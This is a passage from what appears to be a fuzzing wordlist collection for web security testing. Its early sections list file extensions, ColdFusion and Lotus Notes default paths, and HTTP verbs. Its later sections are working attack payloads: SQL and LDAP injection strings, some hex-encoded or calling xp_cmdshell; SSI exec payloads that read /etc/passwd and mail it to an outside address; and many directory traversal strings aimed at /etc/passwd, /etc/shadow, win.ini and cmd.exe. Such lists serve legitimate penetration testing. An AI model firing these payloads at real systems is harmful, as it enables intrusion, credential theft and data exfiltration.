.vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> 